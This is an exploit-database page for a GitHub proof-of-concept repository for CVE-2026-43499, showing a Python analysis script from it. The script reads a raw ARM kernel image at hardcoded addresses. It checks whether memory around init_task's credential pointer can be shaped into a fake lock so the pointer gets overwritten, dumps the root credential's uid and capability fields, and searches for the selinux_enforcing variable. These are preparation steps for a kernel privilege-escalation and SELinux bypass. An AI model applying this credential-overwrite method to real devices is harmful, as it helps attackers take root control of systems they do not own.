Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files678
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

analysis/check_cred_overwrite.py

Python · 3,325 bytes
import sys
sys.path.insert(0, 'pylibs')
import struct

with open('kernel_raw.bin', 'rb') as f:
    data = f.read()
BASE = 0xC0008000

init_task = 0xc1b11640
it_off = init_task - BASE

# Check fields around cred (offset 0x620)
print("=== init_task fields around cred (0x620) ===")
for off in range(0x610, 0x640, 4):
    val = struct.unpack('<I', data[it_off+off:it_off+off+4])[0]
    print(f"  +0x{off:03x}: 0x{val:08x}")

# cred is at +0x620
# For fake lock at +0x61c:
# wait_lock = +0x61c, rb_root = +0x620 (cred), rb_leftmost = +0x624, owner = +0x628
print("\n=== Fake lock at init_task+0x61c (0x{:08x}) ===".format(init_task+0x61c))
wait_lock = struct.unpack('<I', data[it_off+0x61c:it_off+0x620])[0]
cred_ptr = struct.unpack('<I', data[it_off+0x620:it_off+0x624])[0]
rb_leftmost = struct.unpack('<I', data[it_off+0x624:it_off+0x628])[0]
owner = struct.unpack('<I', data[it_off+0x628:it_off+0x62c])[0]
print(f"  wait_lock (+0x61c): 0x{wait_lock:08x} (need 0)")
print(f"  rb_root   (+0x620): 0x{cred_ptr:08x} (cred, will be overwritten)")
print(f"  rb_leftmost (+0x624): 0x{rb_leftmost:08x} (need 0)")
print(f"  owner     (+0x628): 0x{owner:08x} (need <=1)")

# Check if address has null bytes
fake_lock = init_task + 0x61c
addr_bytes = struct.pack('<I', fake_lock)
print(f"  fake_lock address: 0x{fake_lock:08x} ({addr_bytes.hex()})")
print(f"  has null bytes: {b'\\x00' in addr_bytes}")

# Also look at init_cred layout
print("\n=== init_cred at 0xc1b17e60 ===")
cred_off = 0xc1b17e60 - BASE
for off in range(0, 0x60, 4):
    val = struct.unpack('<I', data[cred_off+off:cred_off+off+4])[0]
    print(f"  +0x{off:02x}: 0x{val:08x}")

# Check the cred structure layout
# usage=0, uid=4, gid=8, suid=0c, sgid=10, euid=14, egid=18, fsuid=1c, fsgid=20
# securebits=24, cap_inh=28, cap_prm=30, cap_eff=38, cap_bset=40, cap_amb=48
print("\n=== init_cred key fields ===")
usage = struct.unpack('<I', data[cred_off:cred_off+4])[0]
uid = struct.unpack('<I', data[cred_off+4:cred_off+8])[0]
gid = struct.unpack('<I', data[cred_off+8:cred_off+12])[0]
euid = struct.unpack('<I', data[cred_off+0x14:cred_off+0x18])[0]
cap_prm_lo = struct.unpack('<I', data[cred_off+0x30:cred_off+0x34])[0]
cap_prm_hi = struct.unpack('<I', data[cred_off+0x34:cred_off+0x38])[0]
cap_eff_lo = struct.unpack('<I', data[cred_off+0x38:cred_off+0x3c])[0]
cap_eff_hi = struct.unpack('<I', data[cred_off+0x3c:cred_off+0x40])[0]
print(f"  usage: {usage}")
print(f"  uid: {uid}, gid: {gid}, euid: {euid}")
print(f"  cap_prm: 0x{cap_prm_hi:08x}{cap_prm_lo:08x}")
print(f"  cap_eff: 0x{cap_eff_hi:08x}{cap_eff_lo:08x}")

# Also look for selinux_enforcing
# Search for the variable by looking at SELinux code
print("\n=== Searching for selinux_enforcing variable ===")
# selinux_enforcing is typically accessed via a direct load
# Search for patterns that load from a fixed address and compare with 0/1
# In the SELinux code, there's often a pattern like:
# ldr r0, [pc, #offset]  ; load address of selinux_enforcing
# ldr r0, [r0]           ; load value
# Let's search for the string "selinux_enforcing" in kallsyms
for s in [b'selinux_enforcing', b'sel_enforcing', b'enforcing_enabled']:
    idx = 0
    while True:
        idx = data.find(s, idx)
        if idx < 0:
            break
        print(f"  Found '{s.decode()}' at 0x{BASE+idx:08x}")
        idx += 1